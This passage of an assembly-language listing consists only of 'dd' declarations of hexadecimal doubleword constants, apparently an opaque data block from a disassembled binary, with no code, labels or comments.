		dd 0B9F0F0FDh, 0DA10C30Fh, 7C24B272h, 6612FB04h, 768811Dh
		dd 59458250h, 31B47E9Eh, 77B9164Dh, 30EEB88Ah, 112E0E51h
		dd 2821514Bh, 955E4730h, 65EA4520h, 0D59501D2h,	3ACA9F83h
		dd 833FCF81h, 2E252150h, 0EA610257h, 0C12FA551h, 535B9370h
		dd 0E95820BFh, 7CBFAD4Fh, 44F56B9Bh, 0F6E9195Eh, 3ABF2099h
		dd 494FF2EDh, 3BE85F2Fh, 0D782CA82h, 46270C4Fh,	0D9B42CFDh
		dd 0AA3C1462h, 885152C0h, 0CBE653E1h, 2FC570EBh, 0AF8C94Ah
		dd 74E0BEC0h, 0E2B76143h, 0A8C6FDB7h, 0D3C95B0h, 0D12F8B09h
		dd 6A8B05E6h, 490B93F6h, 805741F2h, 7670B23h, 7E0EC24Bh
		dd 8C5EA013h, 2CD39A31h, 80EC4770h, 45133BB9h, 0D1C0D92h
		dd 5ABA402Dh, 0D4169F59h, 0C31638C1h, 0D730016Ch, 6208A2BFh
		dd 9BE25838h, 0A2D39D58h, 78D9F82Ah, 67FC504Bh,	4A8B7DADh
		dd 81B190AAh, 7E1665E5h, 9E95031h, 9EF5B02h, 0CECB25E9h
		dd 0B7B9DFF3h, 93EC6B56h, 44D117C9h, 0D30EB04Ah, 0A6BA1268h
		dd 201794BEh, 0C13831BAh, 813CCBCEh, 3684EE91h,	0EC6B02A4h
		dd 0E180990Bh, 2DEB8000h, 73F4F3E0h, 79727752h,	395D04Dh
		dd 0F95494B9h, 0DBB4D1C0h, 9FE8E36Ah, 2AF90D8Bh, 0A6020ADDh
		dd 0C1655422h, 8A20BDCFh, 0DE293FDBh, 1DF54CF3h, 0C6044722h
		dd 73159F8h, 8419C2C0h,	0BC1C5FD8h, 37A99F99h, 0F2C0D24Fh
		dd 2DC0CEB4h, 970102E4h, 2AFC20ADh, 0F21904FDh,	2E97287Ah
		dd 0AC7D5DFEh, 1B2EF5h,	4A0A0387h, 1A090558h, 9A717F76h
		dd 0F41E4234h, 1284E2A9h, 0D8038009h, 4406F18h,	0DC922B35h
		dd 6540AE8Fh, 883899EAh, 416A955Dh, 6AFD080Bh, 60754119h
		dd 4984EF04h, 0AF1CFC0h, 4A317EC3h, 52328756h, 0F5493BE2h
		dd 0EBF43EEEh, 1C67B933h, 266C42C1h, 0E5752930h, 0D76885B8h
		dd 0D359EC4Ah, 5BE05DBBh, 0B0D35BB5h, 98470B3Dh, 0E0971DCFh
		dd 7E2D0002h, 5704614h
		dd 0A830EF36h, 0BCE9E667h, 0DDE69766h, 95B68E30h, 2DAC22EBh
		dd 0BE0CB134h, 1617D312h, 298041D6h, 0C14F2815h, 1DE95148h
		dd 2BD03F8Fh, 4916E0EEh, 0A2002442h, 2D4952E6h,	83243306h
		dd 0F0286670h, 88349516h, 8BE7BA00h, 97762E1Eh,	0FCBF0BF7h
		dd 5E5D00ADh, 8FE90F54h, 0B7F26C5Eh, 6FF2891Fh,	0F13CB4E0h
		dd 1C32E9E4h, 57BDBCA1h, 8B4B64AFh, 0FD094AE0h,	6205F78h
		dd 215D26ECh, 0A9CB0894h, 59EF8800h, 0B966F830h, 2277CBDEh
		dd 0F7B4AFCEh, 7D0E8D31h, 3AD841E5h, 50B05DFDh,	68045357h
		dd 7823255h, 5F7EFDABh,	719661FFh, 5D5001F1h, 6E9D997Eh
		dd 65488CF7h, 0F94CAD05h, 90CC1713h, 0F37CE977h, 249B659Dh
		dd 374C8920h, 79A13DFh,	0E4ED538h, 3FA2E210h, 0A0B5CE5Fh
		dd 91E6F87h, 0D50141A6h, 5E5AE785h, 5C880B13h, 40162CE8h
		dd 8CDFC82h, 838F110Ah,	0FA294662h, 1F10D31Bh, 80BEC9ADh
		dd 0AD912304h, 3EEB0297h, 0E057DF46h, 95037128h, 40099B45h
		dd 2083C6A1h, 5F3FE613h, 5EBECCD1h, 74BFBDC5h, 94D7F2C7h
		dd 8247100Eh, 4214AC58h, 277D1D4Ch, 6CA07535h, 3B046E92h
		dd 164A94C8h, 149FD89h,	7D6C5752h, 3971C701h, 5AD70811h
		dd 0AAD76429h, 4C689C42h, 63B67644h, 0E3264580h, 0C08555F3h
		dd 0A4F007EBh, 0FB1A73E3h, 622030CDh, 243B60FAh, 7B121DBAh
		dd 40BD3401h, 312C974Fh, 0E6BFD641h, 0E57EB87Eh, 0D339F3FBh
		dd 0A3BB6552h, 0D3BDA542h, 0EA1BF785h, 4AE98A2Ch, 0B92F0090h
		dd 2FF84503h, 3F9EEAF4h, 29045804h, 27289EC3h, 167F31A1h
		dd 0E3CF2A9Fh, 5AD028D2h, 0E7DB90BAh, 4A5264F4h, 0A22CAC79h
		dd 2A0D69F3h, 0E40CA16Fh, 1C7D28E6h, 25C63AC2h,	78825F3Ch
		dd 0B80F05A6h, 254716F0h, 0A5A25729h, 0DD2B5952h, 0BC7CE2A9h
		dd 2E297AF2h, 0A88182B5h, 72BF3776h, 4EA24EC0h,	9EF907BDh
		dd 28674888h, 384D1C94h, 0D6290933h, 0DE1C864Ch, 3D2ABF57h
		dd 0E878BE09h, 69480062h, 900AAC19h, 8267B063h,	1F68F708h
		dd 3A978F45h, 89D41A43h, 0B4B45ED9h, 0C053AF86h, 0BBDE5D0Ch
		dd 9F1217CAh, 84EE06Ah,	324EC9FCh, 4C805297h, 9549572Ah
		dd 6F6FEF69h, 0F6FE6712h, 3AC9174Fh, 935A8D2Ch,	6561242h
		dd 9F528ACDh, 0F4A5EE2Dh, 95D62505h, 1ACB531Fh,	0AD235C7Dh
		dd 5D0BA3D6h, 92D9F64Fh, 0C06DACB2h, 0B55109B6h, 0ED802684h
		dd 70A70B19h, 0B9804ED9h, 30A247B7h, 17AC0BB8h,	49D56F3Bh
		dd 0E46A58A0h, 50131B68h, 43B45F99h, 283C996Dh,	0C88F20BFh
		dd 0CA7F5870h, 0ED854329h, 8F7C4A02h, 90507727h, 0F597087Bh
		dd 0E0282698h, 0DAF74B12h, 6CAB1A04h, 0F0215B02h, 0ACB647F7h
		dd 6A5A4274h, 30716C75h, 0C01051D0h, 7C107EAh, 80CF280h
		dd 982E4CFAh, 8570E12Dh, 1D6AE780h, 72EB5D86h, 0FFD13306h
		dd 3071DF49h, 0A62B388Ah, 3761E961h, 0CF4DD17Eh, 87FB0466h
		dd 0EAE5E408h, 17BA3613h, 5AC9CB81h, 0A5B410C5h, 0CA6D5BE0h
		dd 94E9846Dh, 3158B891h, 0BA85942Bh, 0B55DF12Ch, 0AA3195CCh
		dd 0F681395Bh, 0F52D3A8Bh, 0AA6EE384h, 0ACD780A2h, 86BAB5F1h
		dd 0B80B30CBh, 56432894h, 0D911A4Fh, 5A151FFh, 0D18D68E9h
		dd 9006EBC5h, 317C38BCh, 2D0B64E4h, 376C2F72h, 0E5A4957Dh
		dd 2998BBE3h, 0EB0A1318h, 0F314AA7Ch, 85FC059Eh, 56E83AC2h
		dd 2E2CAA4Bh, 0AE9185Bh, 43B27F44h, 0B1DCCB7h, 1A8516EBh
		dd 0E9173CE0h, 0CDE57A3Eh, 36F54E9Bh, 2CD69BEFh, 0EB375498h
		dd 18D7BBC6h, 1E441AFh,	2B0FE9DDh, 5406500h, 9DA81Ch, 0CC254866h
		dd 0D70626Ch, 54717BE8h, 99E9521Eh, 480448B1h, 907892DDh
		dd 662DAD03h, 579F2A41h, 6C7D00F4h, 551D801h, 68FA2F07h
		dd 0BD31E914h, 43B34AA7h, 32AD6DDh, 389ABFD4h, 0E78147B0h
		dd 51168607h, 116CD17Dh, 4DCA0464h, 0ED5276E9h,	0F15BC971h
		dd 3D06891Dh, 0F54947F4h, 635EAE49h, 0D689C47Ch, 673D38EFh
		dd 0D23B6F41h, 8DF8C013h, 0C426577Eh, 46C40D5Fh, 0B85E3EB8h
		dd 5E90592Bh, 0E61AFAF6h, 0F3403FB1h, 667B381Ch, 0EF65E32Fh
		dd 4EE82823h, 9480A53Ah, 0A0F60932h, 9C158C68h,	53736E06h
		dd 1A16BC01h, 750C354Bh, 37E9B1BBh, 0B21AA655h,	0CF34F15Bh
		dd 0BC5A1C96h, 80B1B067h, 59CB0728h, 7023B652h,	0B45088F6h
		dd 0A2E93012h, 84FF1856h, 0CACEEF2Eh, 5301E346h, 5B506852h
		dd 0EBC645D2h, 65EC3C17h, 71DC0E75h, 0F2C30E43h, 0C803004h
		dd 0E927D389h, 0ABA075EEh, 352A7156h, 3D3049B4h, 3B5B4CC2h
		dd 0C7B7CB6h, 198E7AC6h, 7F125654h, 43807D4Ah, 902FBC67h
		dd 540D05DCh, 0E0091FACh, 84B5C0F7h, 0E3FA50BFh, 5049335h
		dd 0BF12A354h, 0A47FE9B1h, 995D94h, 7F8E985h, 684938FBh
		dd 0E215AA0Bh, 48978405h, 346E4B1Dh, 0CCF5C9DDh, 0BB37307Ah
		dd 0C0007BD2h, 95CB8149h, 4C3D7976h, 80096C57h,	168E8206h
		dd 0B800B0C8h, 73B2CC4h, 4D063F7h, 0E00E0C1h, 4A8735D8h
		dd 3A057431h, 75A739F3h, 6A279158h, 3DE3D2CAh, 40D40368h
		dd 276E5FB3h, 0FED3459Bh, 284CDAD0h, 0AF6596D8h, 5F256BD2h
		dd 5F096659h, 0FB8F4420h, 12AB1333h, 42D9EB64h,	4B6FF73Fh
		dd 4EA42729h, 253F10ADh, 2606FE46h, 0FF470E92h,	0F452A833h
		dd 7D4F39AFh, 12E880C1h, 0B787C3E9h, 0F2EFF9FEh, 8F55B2AFh
		dd 0E3A837E9h, 9738FE5Eh, 0AF5B2EE9h, 182680F9h, 0DF313465h
		dd 0ECF3B4F7h, 0D660F2FAh, 418DD90Bh, 0F62E318Dh, 0C5E84B5Fh
		dd 2B39BF09h, 76CA005Fh, 107AAE38h, 15788E9h, 8561F581h
		dd 7EC82FAh, 0A087C1EAh, 3A527B53h, 0C1E124AEh,	81913103h
		dd 4A7E680Ch, 0FAE8534Eh, 664CCF71h, 0BA3A0264h, 0E7A7CFFCh
		dd 0F729C951h, 0E9C1075Eh, 8D8108E1h, 0DD7D02E2h, 69EC2036h
		dd 9072CCCBh, 0C55FC3DEh, 8C49337Dh, 0B9095195h, 0FC76CE0h
		dd 26450C96h, 2ED877F6h, 0C5931027h, 0ECDC5796h, 5E74041h
		dd 5B592D5Fh, 0ED2F8A8Eh, 706B857Eh, 4A9AF95h, 9E54D897h
		dd 987C509Fh, 40AA5AD2h, 70C3EEF3h, 0DA9D2083h,	0D40882D5h
		dd 3E845940h, 4F219E02h, 678EC11Ch, 97CA0F05h, 47BA0405h
		dd 7442D581h, 0E1278017h, 0C53005EDh, 5D3B0C37h, 0E0294FE5h
		dd 50022204h, 4B6823EBh, 4A6EE655h, 15C2F058h, 0C86F88BEh
		dd 600B25DBh, 0B626495Bh, 22EB1116h, 42C1E8A7h,	44C47B7Ch
		dd 0F858070Bh, 164F6066h, 64DB5ACEh, 601FE912h,	5A05FA53h
		dd 3453C0EEh, 0DC64D761h, 6C49E38Ah, 4405C3DDh,	0EDFCEEECh
		dd 3C7628B1h, 0C21B8427h, 0B304FAF9h, 0EB24E475h, 80204B1h
		dd 4BE343E9h, 847FEC35h, 0E8ABC292h, 31B0F113h,	130B9216h
		dd 0DD530B54h, 0AEBD20C8h, 0E4CA8980h, 0BE5A4BD5h, 0C59A838Ah
		dd 4AB844D5h, 98DBC45h,	772C3E2Ah, 34168601h, 5B856E60h
		dd 21EA2A00h, 2CE93A0Fh, 5A203830h, 59B30768h, 0C36D5427h
		dd 9DEB9B5Eh, 5F8821Dh,	0D921F0C8h, 0C10042A6h,	44551D79h
		dd 3C5AC5E9h, 5D84B6E9h, 0F82807B6h, 0A04ECF72h, 1D22F587h
		dd 823D5F8Fh, 66F55F24h, 2D6741D2h, 0F9D311BBh,	349CC102h
		dd 0C077B4A8h, 4B5E689Fh, 2B8F36Ch, 6A934972h, 0CADDC242h
		dd 0BD52FF00h, 23298D16h, 5FC2D100h, 4FE0967Ch,	87A4C109h
		dd 14761675h, 0A95382BFh, 3816BA4Eh, 49597BECh,	0BDCBEE4Ah
		dd 0BF732B12h, 9826AAB7h, 0CAD7A77Fh, 668A41F3h, 7B118A2Fh
		dd 0FD30992Dh, 0AFD22B1Bh, 5C2D42D6h, 4F16EECDh, 0AF138BE4h
		dd 0E9C3E5F3h
		dd 6B029839h, 0FECA35EDh, 25656851h, 7C0B24F7h,	0CDF2096Bh
		dd 7E05DCE9h, 1D2D43F4h, 25043819h, 0F87D6F1Ch,	7016BF80h
		dd 217E1F5Fh, 48A109FDh, 0BC5B19F5h, 0F63F3765h, 11F59149h
		dd 0F30362E7h, 705976A4h, 64224DD9h, 6690EAA4h,	19D7F20Dh
		dd 3BD88EB1h, 0A84151EBh, 241BA16Fh, 86A3D57Eh,	0BB729D8h
		dd 4093890h, 82F37D4Ch,	0FAFEE920h, 53EDEDABh, 0C7DC60AFh
		dd 228EE452h, 0DBB71620h, 42E942B7h, 8C4FD47Dh,	310C253Ah
		dd 8209FE49h, 0D273D668h, 0D0F1C0BAh, 0BEF680EEh, 377DC6E6h
		dd 2F3A5459h, 58307C57h, 0E02F439Ch, 67791145h,	5A3434h
		dd 2047C75Dh, 7B091886h, 0DF57293Bh, 0DBB3AED1h, 3429BE2Bh
		dd 2D270BB8h, 0E949815Fh, 77265BABh, 49E8A477h,	0B45E3E68h
		dd 0D097523Fh, 0FAF362ECh, 800926BEh, 1B1C334h,	0EB88CF9Ah
		dd 8C08A81Ch, 0B8D17EB5h, 6F44204Bh, 0F9EE8790h, 8F09F99Ch
		dd 0E38DDE47h, 0AE846BDEh, 0BEF5FFF8h, 4FE9BA3Ch, 12A49486h
		dd 739EBF9Eh, 1723CE4Fh, 0D0BC822Eh, 9B0AB8F1h,	0BA8C611h
		dd 1E68532Bh, 529E96D9h, 0B6C1B387h, 5BDE3061h,	0C9D0906Ah
		dd 104DE994h, 8AEE4A1Ch, 0FD2884BEh, 33546581h,	2FD8CD2Bh
		dd 80427E5h, 0AF3795BFh, 47780689h, 692F614Eh, 45F41746h
		dd 0AC5CCD35h, 104376DEh, 0A1AB5B6Ah, 0F64630FFh, 15374217h
		dd 301AEBF0h, 6E0C728Ah, 0A217AD28h, 0F3C579E9h, 0D3DE3EA8h
		dd 2D6BA0C6h, 2AF0330Fh, 6A624492h, 5E91E6BBh, 0FB1318FCh
		dd 0C5FCA897h, 0E7FECACCh, 575A0009h, 9A19FABFh, 0E781023Ah
		dd 1B5154D4h, 91091578h, 0F821F812h, 0AA107141h, 1DC475B3h
		dd 0B500D64Ah, 9A1D0AB9h, 0BD550274h, 3A4036DCh, 0C567A0DDh
		dd 0A15529Ch, 276AE90Eh, 1EEF80D7h, 8908E7B6h, 575FFE2Fh
		dd 0FEB7F404h, 54BC3E13h, 5EEE82A4h, 32099857h,	0A73F9942h
		dd 0E95B40D5h, 98C569BFh, 0F6CE6E74h, 3B26913h,	0D2750D9Ah
		dd 41E4CF3Bh, 0BB0AEBC5h, 81441D4h, 0DBE95F11h,	3A7875B2h
		dd 190D18A0h, 209E4E9Fh, 5350B674h, 4D0B8DDBh, 75291FA8h
		dd 0C751A964h, 7047E10Ch, 48415887h, 1E066160h,	0C96BE47Eh
		dd 0EB9071E6h, 0C6FEEE87h, 0CA551907h, 54BB29CDh, 0FC57C4D0h
		dd 0F840B1CEh, 9E1EBF04h, 66771F38h, 8DE8EF12h,	98A809DFh
		dd 0ADB7EFDFh, 1CD38840h, 710AF2A4h, 9C688903h,	39BBFFA7h
		dd 787ED8E9h, 0A58FA3A7h, 378A0764h, 212C8E16h,	2746B56h
		dd 26E8C05Dh, 7BD22C79h, 0D1491262h, 2AEF91B8h,	0E0B4C122h
		dd 0B544755Dh, 0C9C38C99h, 12AF39DEh, 0A7EBD313h, 0AA2C07B4h
		dd 978ED028h, 806F0039h, 0C1807FC8h, 0F1247273h, 92E613D8h
		dd 0D8C7BCBBh, 9CBA1BE9h, 514B6639h, 723BDDADh,	1137AF9h
		dd 84BA4122h, 58080910h, 0C8CA0243h, 801930F8h,	0E406CFEEh
		dd 25EF0F6Ah, 0BBA422E9h, 9F4CC057h, 46ECE01Dh,	0F4527F94h
		dd 0C27D2715h, 69B2F9F8h, 5191F189h, 60006BE5h,	713440B3h
		dd 3E74BC1h, 4177CF62h,	0DC7538B2h, 0BD2A640h, 0A9C88ADAh
		dd 701353C2h, 50FF6E34h, 0F64E0873h, 0FFA116ABh, 43AD82Dh
		dd 762555h, 0B837A2BEh,	811CBC3Eh, 0A03803CBh, 1B772062h
		dd 5C96AD09h, 0F19A8A21h, 8FBE4A38h, 38EE5A6Bh,	2B4F4B4Ch
		dd 58E2FFB8h, 6472FBB9h, 5B0E6620h, 6721C580h, 23D7B1EDh
		dd 4F8AF4A9h, 1C521509h, 17EAF148h, 0D8AF4202h,	499D2D3Eh
		dd 0ED6F5DE7h, 236884BAh, 0EE3AD8F1h, 4AE9D73Ch, 0AFB6135Bh
		dd 4F82B606h, 90C3E00Eh, 6046712h, 430D6F52h, 0F1CC30EEh
		dd 0F58C16C9h, 0DE7209CCh, 0FABCF464h, 0BD02BFF8h, 2C6018B3h
		dd 0DD7C5562h, 53F08605h, 0CB5188C7h, 8A4D1F6h,	0C83D1270h
		dd 0D625F790h, 5E26B156h, 6EE4292Bh, 176EA229h,	35EE62Ch
		dd 0A14213C3h, 0B0C7757h, 1256C40h, 3408BBA8h, 0B914120Ch
		dd 43D4865Eh, 0D66812D0h, 51AAC874h, 575A96F2h,	889BDA30h
		dd 1AE93ADDh, 0ACCBFFB8h, 4AACF444h, 0AAE951F0h, 0C2FC55D3h
		dd 23F302B2h, 7167203Ch, 98ABB55Fh, 5E38215Fh, 0EE2B048Bh
		dd 2F48532Eh, 205D5125h, 6F1A7CBBh, 22050F02h, 5E5D9D6Bh
		dd 0ACFBC968h, 0DB98285Ah, 2D0F6795h, 55F5A9E0h, 961F709Eh
		dd 7548BF0Bh, 20573412h, 3FE3059Eh, 6478B7F3h, 3B072D51h
		dd 0C127F5F6h, 7D28CA57h, 1D681A60h, 0DC956270h, 6A85E935h
		dd 7A3DBF4Ah, 59AAA940h, 9B064CA0h, 0CD3FC902h,	27D88928h
		dd 9455F23Fh, 38934DEEh, 0A71502D1h, 5A10AEE9h,	0C2665F61h
		dd 74515915h, 2DA9F049h, 864E496Dh, 0C82B4782h,	2DA648F7h
		dd 0B291799h, 6C45EFF0h, 0C420E4A1h, 4E955C8Dh,	3C07EF11h
		dd 33C383EDh, 0F6E82541h, 0B562A5FEh, 1F165F70h, 0B62067ACh
		dd 4A679067h, 4A49EAF3h, 0EBAB5D05h, 803A6557h,	12877532h
		dd 11006F2Dh, 3F0563A9h, 3E71410Fh, 751C801h, 1202BF44h
		dd 0C664BBE9h, 0A3E09CCh, 3CC075ABh, 7867C203h,	2042BF18h
		dd 92B6C63h, 0E26619B8h, 4B18D4D4h, 16EABA46h, 113493Ch
		dd 0DF28C30Dh, 6F0B7A0Ah, 5871745Bh, 687BE1F7h,	89F9694Fh
		dd 1286FC4h, 0F667C980h, 48C60260h, 1A0DCBFh, 0BA0752D8h
		dd 31821D6h, 0B76ED086h, 0C8521579h, 82A24722h,	40966B40h
		dd 51120578h, 80FBDEF5h, 130AEF4Eh, 0E9903EF4h,	72930C4Fh
		dd 0D5CDF005h, 3B5F3F17h, 0A22C9016h, 1CD24A1Ch, 0D15C68h
		dd 763249B8h, 0E0B0571h, 6A8DB2Eh, 4D34C86h, 643FC1C7h
		dd 4785BB48h, 0F03C41BEh, 4535BB54h, 7021BBA9h,	0B723CC83h
		dd 0C6C0A949h, 2E304576h, 313B0CC1h, 942E5182h,	52080567h
		dd 9B141468h, 8A6F5E12h, 0C8FE4E18h, 0A359E97Eh, 0F3BD0091h
		dd 0BE72CB06h, 0F15E1639h, 7C32BC10h, 2B60965Bh, 89041858h
		dd 0EC133BF7h, 72DE69BAh, 0B2AF92E0h, 77578969h, 6D1FFEB0h
		dd 0CB4DD19Dh, 341F6FFDh, 0BF4EBE8Ah, 34E9C401h, 0BF5335F0h
		dd 5B13CDDCh, 2514E4BFh, 2604421Fh, 4BC50540h, 9351CEAh
		dd 2D27063Fh, 0AF2FA184h, 0ACAC8F84h, 2EB7F6F1h, 955BB49Ch
		dd 0FA7E4AA2h, 3D8453F7h, 5B408AADh, 609DE6B2h,	0B76F4A24h
		dd 48CBCBE6h, 0C0500402h, 7E3EFh, 5A9E1FB0h, 0AA7E4468h
		dd 31FF7A0Dh, 0E0B1361Dh, 0D49EE057h, 5375FEFDh, 86FBC9A7h
		dd 1817C310h, 272E457Eh, 0BED8C543h, 0C652100Fh, 1F596677h
		dd 0D3500CEFh, 0C77AA015h, 950F08A3h, 37F8E95Dh, 178679FCh
		dd 409F3CC1h, 3E385734h, 975B4389h, 0DEF7B03Dh,	144FBE41h
		dd 0A849AADh, 29E9AFD4h, 470FBFC0h, 2CB87FB5h, 0D061561Ch
		dd 10AA29D3h, 48580870h, 8212A54Eh, 57029D0Ch, 0D9407560h
		dd 5B837CE3h, 0ADC0E51Ah, 4ECCF24Eh, 9109BE5Eh,	88C677C5h
		dd 49925F97h, 0D72DC2D5h, 31C4FD34h, 26EC7BCEh,	0B54152CEh
		dd 3AEE881Ah, 1EB49BB4h, 0FCC2886h, 619C480h, 58E1F8E0h
		dd 824E29F9h, 79444268h, 0B45000EAh, 0F6FC861Ah, 5308D760h
		dd 0A84542E9h, 1647E3AFh, 0EF21B16Dh, 3FF38600h, 4E07F6DCh
		dd 2DADA405h, 0DB74B9Dh, 0DA3DE9F8h, 537C603Eh,	324BBB0Fh
		dd 292F4D6h, 99EC927h, 8335C29h, 6887792Eh, 78E417C6h
		dd 0B9B0BCB8h, 0FE3E2C74h, 54E10271h, 0DD73A92Fh, 0AA33ABE8h
		dd 299D7710h, 32C20118h, 20597998h, 2E600549h, 0D4FF559Eh
		dd 0E9080587h, 2672BC16h, 2F425631h, 0F440C825h, 2A0FB727h
		dd 0BD311164h, 88AC4E41h, 0F451D88Bh, 8CB6F7EBh, 16EB5D5Ch
		dd 0DCF2D86Ch, 3F8FE9A1h
		dd 0B168DF02h, 3F14C49h, 9C95343h, 98015746h, 26B76220h
		dd 7F28E9h, 7D3EBE3Dh, 94904F59h, 408BA1h, 2761DDBDh, 5D287Bh
		dd 0CD2CF1ABh, 0D4ED4849h, 720C3E07h, 10CFF47Ch, 1E593008h
		dd 60303CDBh, 4A381A62h, 16F0940h, 4E08D42Ah, 7AB9D8AFh
		dd 2DFB4300h, 0CB7FA1BBh, 0F331174Fh, 0FAD0BA5Eh, 0B08E8C0h
		dd 0FA24D8F6h, 0C128A901h, 75B3DDE9h, 4803EEBh,	90420848h
		dd 5CE309BFh, 427F75ACh, 5A0804B0h, 6530B9EEh, 9F08552Fh
		dd 3B0BC030h, 0C6A0125Fh, 0C946802h, 3EEC24EFh,	480ADED1h
		dd 6819703Ah, 75947BA0h, 97433160h, 0F8B1BF5Fh,	0F84ED9E1h
		dd 6A98D7F7h, 546D5164h, 7BDC2DEEh, 40069D2Ch, 8A00B196h
		dd 5966CB28h, 9005E3C0h, 20DE90E0h, 8728D37Eh, 370B7D7h
		dd 0F6DF7825h, 0B9C38274h, 0D4842A50h, 808F80FBh, 75623239h
		dd 966163Eh, 360F8200h,	96F64D43h, 0C3F5B263h, 0F582D8F8h
		dd 5F239009h, 0ED9E900Fh, 0EF3D92AAh, 21B6F4CDh, 16EA080Bh
		dd 0C28004E7h, 0C1D42850h, 0DE98EC51h, 5861B4C4h, 6DE94712h
		dd 0CB3B9265h, 3D5012F2h, 0F97ECCDDh, 0AF68C0A7h, 0BD6C2A09h
		dd 0E6090F96h, 0DF91121Eh, 2988D380h, 70B52E2Ah, 0A71DBCEEh
		dd 0C22916FDh, 0CF85E977h, 5BEDAF7h, 6A91A20h, 36CE8131h
		dd 4A58030Ah, 0AC0A8552h, 7FE9F1E3h, 0DC20E575h, 282713C7h
		dd 0E28A1EF8h, 0A2F9014Bh, 444D7098h, 0E9055504h, 89AACB62h
		dd 2FB1601Ah, 45923AB6h, 0BF0780CAh, 6438410Ch,	56A0AE21h
		dd 6A01181Ch, 436D0C09h, 31110F2Eh, 344A663Bh, 8E54B5CEh
		dd 5F2015A8h, 7521A067h, 37A94C36h, 0E3F75A75h,	288F0213h
		dd 7F5F117Dh, 70E968E0h, 0DCD1C04Fh, 0BF00EBB6h, 442C6447h
		dd 611DE37Dh, 8AAE813h,	5B07FC34h, 4B82FE29h, 281E8243h
		dd 0BF5A0589h, 7E3B6CB3h, 91D8A655h, 76E09AA0h,	0CEFE2DF6h
		dd 2690ADF0h, 6212C65Eh, 4D0BB7BAh, 0F9E91987h,	0C5D854FFh
		dd 0A8C99D63h, 75C1CEF8h, 0FEA48878h, 9D248Dh, 3B0DD5C9h
		dd 2C25681Dh, 387C4664h, 0BA4A6E16h, 0AE4F008Eh, 55299432h
		dd 0C6DCF88Bh, 0C1E1B3EEh, 445BCD30h, 4409F589h, 1A331Eh
		dd 0ADAA9D93h, 301DA6B5h, 0C16909B8h, 8000D0E6h, 59CE214Ah
		dd 98515646h, 733027BFh, 40B5EAC4h, 0BD5F6897h,	155D159Ah
		dd 4B5C9E6Ah, 0E72442C7h, 2EFFF35Eh, 1630ABF7h,	0CB6A4CE9h
		dd 2F55EB43h, 6C927F90h, 351E61ABh, 0C6297C70h,	20D740ABh
		dd 41762FA0h, 0F90F674Eh, 64258551h, 0F0CFFC47h, 612CEF32h
		dd 57C2F83Bh, 0F4553DC2h, 0F1C051FBh, 8B802B03h, 723064F2h
		dd 8D46FE2h, 0FC66C465h, 0D1F5728Ch, 0FC2D3ACAh, 0E96A3A84h
		dd 2E90FC59h, 2BCAFBACh, 8E84CA3Bh, 2B6571FAh, 1A5F03B4h
		dd 1C51B626h, 0F7895C54h, 5D7427D3h, 0DF063CF2h, 394E9E6Ch
		dd 7DBFBF09h, 457D4242h, 15E48283h, 8AC46FF1h, 9DE90880h
		dd 8B540895h, 4CB36858h, 51CB1F7Ch, 0FBDE0E09h,	3E6CF4ADh
		dd 9AF7CFA7h, 790E0FEh,	802496D0h, 0AE1AE8D5h, 0DE9FEB89h
		dd 7007EDB4h, 0EEB78797h, 4DE92A32h, 0DA949EB1h, 0A8B545DDh
		dd 23992607h, 20464309h, 0DBAA0C4Fh, 8B5C2517h,	0CE1F0688h
		dd 293A2A38h, 0B0EF33F0h, 0F7B13306h, 6AB47A86h, 0E7E92574h
		dd 67EA468Bh, 5A20597Fh, 18C35E84h, 52306152h, 53C3C4FCh
		dd 0DA91E388h, 1CA9265Bh, 0D000F02Ch, 8092B551h, 0AC6EEDCDh
		dd 4C8078Fh, 34F2F6AFh,	49C3F5A8h, 0CAC5E882h, 0ECC67FA7h
		dd 0ED204EB0h, 0F4681221h, 0F24BFC10h, 0C0BAD65Fh, 0E73DB2C7h
		dd 5AAB1B5Eh, 0FAD311F1h, 1CE1762Fh, 6FF2EC52h,	34AB180Bh
		dd 6E658C01h, 0EC057062h, 4AE4535Eh, 0EB93222h,	0FDDE9816h
		dd 74420B69h, 6C6525FBh, 74279889h, 944765A0h, 16A1FCB8h
		dd 299C838Fh, 68C30931h, 0CAD96174h, 2B47B0BFh,	3D71EDEAh
		dd 40BB7CF5h, 0EF2D04Ah, 3D7B270Fh, 4B3228E1h, 5B497BC8h
		dd 0A4D0F920h, 8B0A50AFh, 70B54120h, 857C5B16h,	8EF2AA5Bh
		dd 0D5A8D4C4h, 0FAF0001Bh, 317A154Dh, 8B18DA5Dh, 25C67B21h
		dd 68496877h, 722C5247h, 275CCC1Ch, 0BFEECD7Dh,	0F2232D62h
		dd 0FC2577D1h, 0B6538264h, 9D433096h, 5AE2F39Bh, 0A6C47FDh
		dd 81A8FA99h, 0AF4EFBC2h, 7EE56A13h, 6DE90800h,	50FEBDE7h
		dd 87D2D449h, 19086850h, 0F661EBDCh, 81FC0D0Bh,	551D3BEDh
		dd 84178FCCh, 0D08940DEh, 0E8A04035h, 862FCDB8h, 3AF63A60h
		dd 43DC5FB4h, 0EABB8249h, 5F9BFD27h, 5442E0C9h,	0FAB954EBh
		dd 0BE0056BCh, 61765859h, 12C5E681h, 1645312h, 92416092h
		dd 49C4834Dh, 0BC0B400Fh, 79DA4FFh, 3C09A898h, 856BEB65h
		dd 8AB42071h, 9051CF7h,	0B27D6F40h, 8B3C595Ch, 0AC5862E9h
		dd 0EF2054Ah, 90B5ABD3h, 0F7A1672Ch, 30EF3B14h,	59BA5251h
		dd 775B0171h, 0FE2584BCh, 7FF044C4h, 2AF36BF3h,	4C374310h
		dd 3AF539A7h, 18EC3EE6h, 0F2C7BACBh, 6D3C0917h,	975E2144h
		dd 798FBB01h, 0B33173D2h, 6B87D4F2h, 5244917h, 60A05098h
		dd 8D12BD72h, 0C759C81h, 0BB388C7Fh, 0CC58521h,	730E07F4h
		dd 0B10D30Ch, 0FD0348A1h, 295CE818h, 8D210ADh, 6140C68h
		dd 4A46EEE9h, 43B7BE04h, 9FBD6376h, 1A8C5219h, 261D2C54h
		dd 0D04225F1h, 5E2500FDh, 16009A60h, 3548E8D1h,	58452004h
		dd 0C9274E01h, 0C52548C7h, 705F8998h, 5AE17A76h, 0AA764F68h
		dd 61E34A73h, 7DCE4518h, 9CC107A0h, 86AF7A3Fh, 0B0224C29h
		dd 65FB5D43h, 5AA4E05Fh, 0BDB46673h, 4438B69h, 0B2BC6D6Dh
		dd 5D89B83Bh, 0C1D120EDh, 57067F8Bh, 20BA74B8h,	0B8C13B28h
		dd 0CD0C605h, 0F1EE6782h, 5A080188h, 54A46F46h,	0CB062DE9h
		dd 0C188BA90h, 0D7FA682Dh, 0E94E5B36h, 929E21E2h, 5F51C375h
